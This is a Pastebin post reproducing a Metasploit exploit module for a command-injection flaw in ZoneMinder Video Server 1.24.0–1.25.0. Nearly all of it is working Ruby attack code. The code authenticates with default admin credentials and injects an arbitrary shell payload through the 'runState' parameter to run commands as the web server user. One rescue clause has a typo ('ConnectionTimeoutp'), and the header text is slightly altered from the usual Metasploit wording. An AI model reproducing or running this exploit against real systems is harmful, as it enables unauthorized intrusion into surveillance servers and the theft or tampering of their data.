Advertisement
chris_defaulter007

ZoneMinder Video Server packageControl Command Execution

Feb 4th, 2013
208
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.91 KB | None | 0 0
  1. ##
  2. # This file is part of the Exploit + Zero Day and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7.  
  8. require 'msf/core'
  9.  
  10. class Metasploit3 < Msf::Exploit::Remote
  11. Rank = ExcellentRanking
  12.  
  13. include Msf::Exploit::Remote::HttpClient
  14.  
  15. def initialize(info={})
  16. super(update_info(info,
  17. 'Name' => 'ZoneMinder Video Server packageControl Command Execution',
  18. 'Description' => %q{
  19. This module exploits a command execution vulnerability in ZoneMinder Video
  20. Server version 1.24.0 to 1.25.0 which could be abused to allow
  21. authenticated users to execute arbitrary commands under the context of the
  22. web server user. The 'packageControl' function in the
  23. 'includes/actions.php' file calls 'exec()' with user controlled data
  24. from the 'runState' parameter.
  25. },
  26. 'References' =>
  27. [
  28. ['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'],
  29. ],
  30. 'Author' =>
  31. [
  32. 'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
  33. ],
  34. 'License' => MSF_LICENSE,
  35. 'Privileged' => true,
  36. 'Arch' => ARCH_CMD,
  37. 'Platform' => 'unix',
  38. 'Payload' =>
  39. {
  40. 'BadChars' => "\x00",
  41. 'Compat' =>
  42. {
  43. 'PayloadType' => 'cmd',
  44. 'RequiredCmd' => 'generic telnet python perl bash',
  45. },
  46. },
  47. 'Targets' =>
  48. [
  49. ['Automatic Targeting', { 'auto' => true }]
  50. ],
  51. 'DefaultTarget' => 0,
  52. 'DisclosureDate' => "Jan 22 2013",
  53. ))
  54.  
  55. register_options([
  56. OptString.new('USERNAME', [true, 'The ZoneMinder username', 'admin']),
  57. OptString.new('PASSWORD', [true, 'The ZoneMinder password', 'admin']),
  58. OptString.new('TARGETURI', [true, 'The path to the web application', '/zm/'])
  59. ], self.class)
  60. end
  61.  
  62. def check
  63.  
  64. peer = "#{rhost}:#{rport}"
  65. base = target_uri.path
  66. base << '/' if base[-1, 1] != '/'
  67. user = datastore['USERNAME']
  68. pass = datastore['PASSWORD']
  69. cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
  70. data = "action=login&view=version&username=#{user}&password=#{pass}"
  71.  
  72. # login and retrieve software version
  73. print_status("#{peer} - Authenticating as user '#{user}'")
  74. begin
  75. res = send_request_cgi({
  76. 'method' => 'POST',
  77. 'uri' => "#{base}index.php",
  78. 'cookie' => "#{cookie}",
  79. 'data' => "#{data}",
  80. })
  81. if res and res.code == 200
  82. if res.body =~ /<title>ZM - Login<\/title>/
  83. print_error("#{peer} - Authentication failed")
  84. return Exploit::CheckCode::Unknown
  85. elsif res.body =~ /v1.2(4\.\d+|5\.0)/
  86. return Exploit::CheckCode::Appears
  87. elsif res.body =~ /<title>ZM/
  88. return Exploit::CheckCode::Detected
  89. end
  90. end
  91. return Exploit::CheckCode::Safe
  92. rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
  93. print_error("#{peer} - Connection failed")
  94. end
  95. return Exploit::CheckCode::Unknown
  96.  
  97. end
  98.  
  99. def exploit
  100.  
  101. @peer = "#{rhost}:#{rport}"
  102. base = target_uri.path
  103. base << '/' if base[-1, 1] != '/'
  104. cookie = "ZMSESSID=" + rand_text_alphanumeric(rand(10)+6)
  105. user = datastore['USERNAME']
  106. pass = datastore['PASSWORD']
  107. data = "action=login&view=postlogin&username=#{user}&password=#{pass}"
  108. command = Rex::Text.uri_encode(payload.encoded)
  109.  
  110. # login
  111. print_status("#{@peer} - Authenticating as user '#{user}'")
  112. begin
  113. res = send_request_cgi({
  114. 'method' => 'POST',
  115. 'uri' => "#{base}index.php",
  116. 'cookie' => "#{cookie}",
  117. 'data' => "#{data}",
  118. })
  119. if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\/title>/
  120. fail_with(Exploit::Failure::NoAccess, "#{@peer} - Authentication failed")
  121. end
  122. rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  123. fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  124. end
  125. print_good("#{@peer} - Authenticated successfully")
  126.  
  127. # send payload
  128. print_status("#{@peer} - Sending payload (#{command.length} bytes)")
  129. begin
  130. res = send_request_cgi({
  131. 'method' => 'POST',
  132. 'uri' => "#{base}index.php",
  133. 'data' => "view=none&action=state&runState=start;#{command}%26",
  134. 'cookie' => "#{cookie}"
  135. })
  136. if res and res.code == 200
  137. print_good("#{@peer} - Payload sent successfully")
  138. else
  139. fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Sending payload failed")
  140. end
  141. rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  142. fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
  143. end
  144.  
  145. end
  146.  
  147. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement